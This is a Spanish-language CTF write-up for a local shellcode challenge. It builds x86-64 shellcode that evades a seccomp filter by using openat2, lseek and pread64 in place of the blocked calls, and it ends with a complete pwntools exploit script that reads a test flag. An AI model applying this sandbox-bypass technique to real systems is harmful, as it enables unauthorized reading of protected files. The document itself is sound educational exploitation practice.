Reversing
Si ejecutamos el binario nos pide un shellcode donde enviamos 16 bytes
, nos devuelve un mensaje y corrompe de alguna forma inesperada que analizaremos
❯ ./bin
Upload your shellcode.
AAAAAAAABBBBBBBB
zsh: segmentation fault (core dumped) ./bin
Iniciamos desensamblando la función main
, esta llama a 2 funciones las cuales renombramos como setup
y vuln
debido a que originalmente no hay simbolos
La función setup
intenta abrir con open un archivo llamado flag
, si el valor de retorno es menor a 0
muestra un mensaje con puts
y sale del programa con exit
Para evitar este error crearemos un archivo llamado flag
con un texto para pruebas
❯ echo 'FLAG{f4k3_fl4g_4_t35t1ng}' > flag
La función vuln
reserva un espacio con mmap
al cual asigna permisos 7
o rwx
, luego recibe un datos en un buffer con read
, realiza una llamada a la función seccomp
y llama a rax
que contiene el shellcode recibido previamente
La función seccomp
establece reglas para evitar que se ejecuten ciertas syscalls
Podemos usar seccomp-tools
para ver mejor las funciones restringidas, al parecer no podemos llamar execve
o execveat
para ejecutar comandos ni funciones para leer archivos como open
o read
, esto limita bastante nuestro posible shellcode
❯ seccomp-tools dump ./bin
Upload your shellcode.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0f 0xc000003e if (A != ARCH_X86_64) goto 0017
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0c 0xffffffff if (A != 0xffffffff) goto 0017
0005: 0x15 0x0b 0x00 0x00000000 if (A == read) goto 0017
0006: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0017
0007: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0017
0008: 0x15 0x08 0x00 0x00000013 if (A == readv) goto 0017
0009: 0x15 0x07 0x00 0x00000015 if (A == access) goto 0017
0010: 0x15 0x06 0x00 0x00000016 if (A == pipe) goto 0017
0011: 0x15 0x05 0x00 0x0000003b if (A == execve) goto 0017
0012: 0x15 0x04 0x00 0x00000053 if (A == mkdir) goto 0017
0013: 0x15 0x03 0x00 0x00000055 if (A == creat) goto 0017
0014: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0017
0015: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0017
0016: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0017: 0x06 0x00 0x00 0x00000000 return KILL
Explotación
Sabemos que lo que enviemos se interpretará como instrucciones ensamblador, para comprobarlo enviaremos como shellcode un int3
que actuará como breakpoint en el debugger y algunos nops
extra para asegurarnos que se ejecute correctamente
#!/usr/bin/python3
from pwn import gdb, asm
shell = gdb.debug("./bin", "continue")
shellcode = asm("""
int3
nop
nop
nop
""", arch="amd64")
shell.sendlineafter(b".\n", shellcode)
shell.interactive()
Al ejecutar el exploit llega al breakpoint y se detiene al inicio de ejecutar los nops
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007089beafc001 in ?? ()
pwndbg> x/4i $rip-1
0x7089beafc000: int3
=> 0x7089beafc001: nop
0x7089beafc002: nop
0x7089beafc003: nop
pwndbg>
Funciones como open
o openat
estan limitadas por seccomp
e impiden abrir el archivo, sin embargo no esta openat2
asi que podemos utilizarla para hacerlo, según documentación el argumento dirfd
podemos establecerlo en AT_FDCWD
o -100
para rutas relativas, el pathname
será el archivo flag
el cual nos interesará leer
openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);
El tercer argumento es una estructura open_how
, podemos establecer todas sus partes a 0
indicando modo O_RDONLY
, el tamaño de la estructura es de 24
bytes
struct open_how {
u64 flags; /* O_* flags */
u64 mode; /* Mode for O_{CREAT,TMPFILE} */
u64 resolve; /* RESOLVE_* flags */
};
Ya conocemos los argumentos que debemos establecer, el size
lo establecemos el 0x18
o 24
que es el tamaño de la estructura open_how
, con ello completamos todo
openat2(-100, "flag", [0, 0, 0], 0x18);
Si lo pasamos a ensamblador se ve de la siguiente forma, guardamos en rdi
el valor -100
, en rsi
un puntero a la string flag
, en rdx
la estructura open_how
y finalmente en r10
la longitud, y en rax
el syscall NR que para openat2
es 0x1b5
xor rdi, rdi # $rdi = 0x0
push 0x67616c66 # $rsp = "flag"
mov rsi, rsp # $rsi = "flag"
push rdi # NULL
push rdi # NULL
push rdi # NULL
sub rdi, 0x64 # space for data
push rsp # structure
pop rdx # $rdx = structure
push 0x18 # len
pop r10 # $r10 = len
push 0x1b5 # openat2()
pop rax # $rax = openat2()
int3 # breakpoint
syscall # syscall
Ejecutamos el exploit y al llegar al breakpoint comprobamos que los argumentos esten establecidos correctamente, luego ejecutamos al syscall
y el valor de retorno es 0x4
que es un descriptor de archivo el cual hace referencia al archivo flag
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007155a6e2901f in ?? ()
pwndbg> p/d $rdi
$1 = -100
pwndbg> x/s $rsi
0x7ffd9227a780: "flag"
pwndbg> x/3gx $rdx
0x7ffd9227a768: 0x0000000000000000 0x0000000000000000
0x7ffd9227a778: 0x0000000000000000
pwndbg> p/x $r10
$2 = 0x18
pwndbg>
pwndbg> x/i $rip
=> 0x7155a6e2901f: syscall
pwndbg> ni
0x00007155a6e29021 in ?? ()
pwndbg> p/x $rax
$3 = 0x4
pwndbg>
Una vez abrimos el archivo, podemos llamar a lseek
para saber la longitud de este
lseek(int fd, off_t offset, int whence);
El primer argumento es el descriptor del archivo, podemos utilizar el valor de retorno que nos devolvió, el offset lo podemos establecer en 0
y whence en SEE_END
o 2
indicando el punto de referencia, de esta forma contará desde el inicio hasta el final
Podemos pasarlo a ensamblador, en rdi
guardamos el valor de retorno de open
, en rsi
guardamos 0
y en rdx
un 2
, ya con ello podemos hacer la syscall
a lseek
xchg rax, rdi # $rdi = descriptor
push 0x2 # whence
pop rdx # $rdx = whence
xor rsi, rsi # $rsi = offset
push 0x8 # lseek()
pop rax # $rax = lseek()
int3 # breakpoint
syscall # syscall
Cuando llegamos al breakpoint comprobamos que los argumentos esten establecidos correctamente, luego ejecutamos al syscall
y el valor de retorno es 0x1a
que es la longitud total del archivo, ahora sabemos cuantos bytes leer del archivo abierto
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000796d23e5802c in ?? ()
pwndbg> p/x $rdi
$1 = 0x4
pwndbg> p/x $rsi
$2 = 0x0
pwndbg> p/x $rdx
$3 = 0x2
pwndbg>
pwndbg> x/i $rip
=> 0x796d23e5802c: syscall
pwndbg> ni
0x0000796d23e5802e in ?? ()
pwndbg> p/x $rax
$4 = 0x1a
pwndbg>
Aunque la función read
esta bloqueada podemos usar funciones como pread64
, el primer argumento sigue siendo el descriptor del archivo, el segundo el buffer donde se escribirá el contenido, el tercero la longitud y offset lo podemos establecer a 0
pread64(int fd, void *buf, size_t count, off_t offset);
pread64(4, $rsp, 0x1a, 0);
Lo pasamos a ensamblador, en rdi
ya está el descriptor, en rsi
establecemos la dirección del stack, en rdx
el valor de retorno que recibimos de lseek
y en r10
simplemente 0
, en rax
almacenamos el syscall NR de pread64
y la ejecutamos
push rsp # stack
pop rsi # $rsi = buffer
xchg rdx, rax # $rdx = len
xor r10, r10 # $r10 = offset
push 0x11 # pread64()
pop rax # $rax = pread64()
int3 # breakpoint
syscall # syscall
Al llegar al breakpoint comprobamos que los argumentos sean los correctos, y al ejecutar la syscall
aunque el valor de retorno sigue siendo la longitud del archivo en el stack ahora se almacena el contenido del archivo flag
que escribimos al inicio
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000746d23e5803f in ?? ()
pwndbg> p/x $rdi
$1 = 0x4
pwndbg> p/x $rsi
$2 = 0x7ffcad51d948
pwndbg> p/x $rsp
$3 = 0x7ffcad51d948
pwndbg> p/x $rdx
$4 = 0x1a
pwndbg> p/x $r10
$5 = 0x0
pwndbg>
pwndbg> x/i $rip
=> 0x70707e199038: syscall
pwndbg> ni
0x000070707e19903a in ?? ()
pwndbg> x/s $rsp
0x7ffcad51d948: "FLAG{f4k3_fl4g_4_t35t1ng}\n"
pwndbg>
Finalmente podemos usar la función write
para mostrar el contenido de la flag
, aqui el primer argumento es el descriptor que podemos establecer en 2
para la salida, luego lo que queremos enviar a el en este caso será el contenido del registro rsp
donde almacenamos el contenido del archivo y el último la longitud del archivo
write(int fd, const void buf[.count], size_t count);
Al pasarlo a un shellcode solo nos queda modificar el descriptor, el resto de los argumentos ya están establecidos antes de hacer la syscall hacia write
push 0x2 # descriptor
pop rdi # $rdi = descriptor
push 0x1 # write()
pop rax # $rax = write()
int3 # breakpoint
syscall # syscall()
Al llegar al breakpoint podemos ver que en rsi
esta el contenido del la flag
y en rdx
la longitud de este mismo, la llamada deberia mostrar el contenido del archivo
Program received signal SIGTRAP, Trace/breakpoint trap.
0x000070b82e8e3040 in ?? ()
pwndbg> p/x $rdi
$1 = 0x2
pwndbg> x/s $rsi
0x7ffdc66f1208: "FLAG{f4k3_fl4g_4_t35t1ng}\n"
pwndbg> p/x $rdx
$2 = 0x1a
pwndbg>
El exploit final usa funciones alternativas para leer el archivo y no tener problemas con seccomp
, abre el archivo con openat2
, calcula la longitud con lseek
y lo lee con pread64
, finalmente muestra con write
el contenido de esta hacia la terminal
#!/usr/bin/python3
from pwn import process, asm
shell = process("./bin")
shellcode = asm("""
xor rdi, rdi # $rdi = 0x0
push 0x67616c66 # $rsp = "flag"
mov rsi, rsp # $rsi = "flag"
push rdi # NULL
push rdi # NULL
push rdi # NULL
sub rdi, 0x64 # space for data
push rsp # structure
pop rdx # $rdx = structure
push 0x18 # len
pop r10 # $r10 = len
push 0x1b5 # openat2()
pop rax # $rax = openat2()
syscall # syscall
xchg rax, rdi # $rdi = descriptor
push 0x2 # whence
pop rdx # $rdx = whence
xor rsi, rsi # $rsi = offset
push 0x8 # lseek()
pop rax # $rax = lseek()
syscall # syscall
push rsp # stack
pop rsi # $rsi = buffer
xchg rdx, rax # $rdx = len
xor r10, r10 # $r10 = offset
push 0x11 # pread64()
pop rax # $rax = pread64()
syscall # syscall
push 0x2 # descriptor
pop rdi # $rdi = descriptor
push 0x1 # write()
pop rax # $rax = write()
syscall # syscall()
""", arch="amd64")
shell.sendlineafter(b".\n", shellcode)
shell.interactive()
Al ejecutar el exploit envia el shellcode
que muestra el contenido del archivo flag
❯ python3 exploit.py
[+] Starting local process './bin': pid 107091
[*] Switching to interactive mode
FLAG{f4k3_fl4g_4_t35t1ng}
$